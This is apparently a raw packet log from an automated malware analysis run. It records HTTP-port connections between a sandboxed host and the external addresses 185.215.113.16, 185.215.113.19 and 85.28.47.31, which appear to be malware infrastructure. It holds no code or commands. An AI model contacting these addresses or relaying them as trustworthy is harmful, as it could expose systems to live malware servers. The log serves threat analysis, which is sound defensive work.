Jul 27, 2024 12:01:23.641341925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641382933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641382933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641382933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641436100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641469002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641503096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641535997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641570091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641588926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641588926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641637087 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641683102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641716003 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641750097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641758919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641758919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641783953 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641793966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641818047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641851902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641859055 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641938925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.641942978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.641974926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.642007113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.642019987 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.642040968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.642074108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.642085075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.642085075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.642107010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.642123938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.642142057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.642177105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.642319918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.642384052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.881361008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:23.886154890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:24.504188061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:24.504496098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:24.529010057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:24.533881903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:24.718043089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:24.718180895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:24.736898899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:24.741730928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:25.331156015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:25.331408978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:30.338011026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:30.338079929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:51.506222010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:51.507592916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:02.896730900 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:02.903369904 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:02.903475046 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:02.903677940 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:02.910845041 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:03.039030075 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:03.047103882 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:03.047219992 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:03.047342062 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:03.053248882 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:03.673782110 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:03.673867941 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:03.674731016 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:03.688580990 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:03.826072931 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:03.827080965 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:03.828011990 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:03.834466934 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:03.940880060 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:03.947047949 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:03.950968027 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:03.964569092 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:03.964859009 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:03.965121984 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:03.977324009 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.090069056 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.090171099 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.200788975 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.201225996 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.209743023 CEST	80	49727	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.209821939 CEST	49727	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.209938049 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.210032940 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.210288048 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.218688011 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.737385035 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.737457037 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.737508059 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.737554073 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.737601995 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.737679958 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.737679958 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.738993883 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.739042044 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.739043951 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.739083052 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.739090919 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.739104033 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.739135981 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.739183903 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.739195108 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.739240885 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.742630005 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.742695093 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.742764950 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.824170113 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.824280024 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886373043 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886439085 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886487007 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886533022 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886555910 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886555910 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886555910 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886580944 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886641026 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886641026 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886713982 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886773109 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886794090 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886841059 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886857986 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886888981 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886900902 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886936903 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.886945963 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.886990070 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.887685061 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.887749910 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.887752056 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.887804031 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.887810946 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.887861967 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.887866974 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.887914896 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.887926102 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.887975931 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.888669968 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.888731956 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.888736010 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.888782978 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.888793945 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.888894081 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.888906956 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.888938904 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.888951063 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.888998985 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.889688015 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.889753103 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.889767885 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.889816046 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.889822960 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.889870882 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.980849981 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:04.981044054 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.981765032 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:04.986865044 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.034862995 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.034909010 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.034949064 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035018921 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035069942 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035089970 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035089970 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035089970 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035089970 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035105944 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035142899 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035171986 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035171986 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035196066 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035219908 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035229921 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035258055 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035263062 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035288095 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035300970 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035315990 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035340071 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035351038 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035355091 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035362959 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035377979 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035388947 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035393000 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035399914 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035410881 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035470009 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.035556078 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.035613060 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.036062002 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.036123991 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.036644936 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.036704063 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.036957979 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.036971092 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.036999941 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.037017107 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.037053108 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.037053108 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.037095070 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.037147045 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.037414074 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.037424088 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.037554026 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.037564993 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.037619114 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.037674904 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.038499117 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.038527012 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.038537025 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.038588047 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.039100885 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.039165020 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.039298058 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.039309025 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.039330959 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.039362907 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.039391041 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.039392948 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.039402008 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.039444923 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.039470911 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.039520025 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.039537907 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.039592028 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.122927904 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.122980118 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.123017073 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.123049021 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.123086929 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.123120070 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.123153925 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.123157978 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.123157978 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.123158932 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.123158932 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.123158932 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.123188972 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.123261929 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.123261929 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.123261929 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.190893888 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191040039 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191082001 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191099882 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191116095 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191138029 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191174984 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191193104 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191205978 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191224098 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191287041 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191287041 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191287041 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191287994 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191353083 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191422939 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191425085 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191469908 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191481113 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191484928 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191518068 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191545963 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191617012 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191627026 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191637993 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191648006 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191668987 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191703081 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.191889048 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191900015 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.191955090 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.192528009 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192584038 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192586899 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.192594051 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192635059 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.192662954 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.192694902 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192706108 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192718983 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192748070 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.192776918 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.192854881 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192866087 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192876101 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192887068 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.192923069 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.192954063 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.193264008 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193324089 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.193383932 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193394899 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193448067 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.193449020 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193460941 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193505049 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.193537951 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193547964 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193557978 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193568945 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193579912 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.193602085 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.193636894 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.193636894 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.194309950 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194369078 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.194482088 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194492102 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194545031 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.194565058 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194574118 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194583893 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194623947 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.194652081 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.194742918 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194753885 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194785118 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194796085 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.194802046 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.194834948 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.194875002 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.195276976 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.195287943 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.195297003 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.195333004 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.195338011 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.195343018 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.195352077 CEST	80	49728	185.215.113.16	192.168.2.5
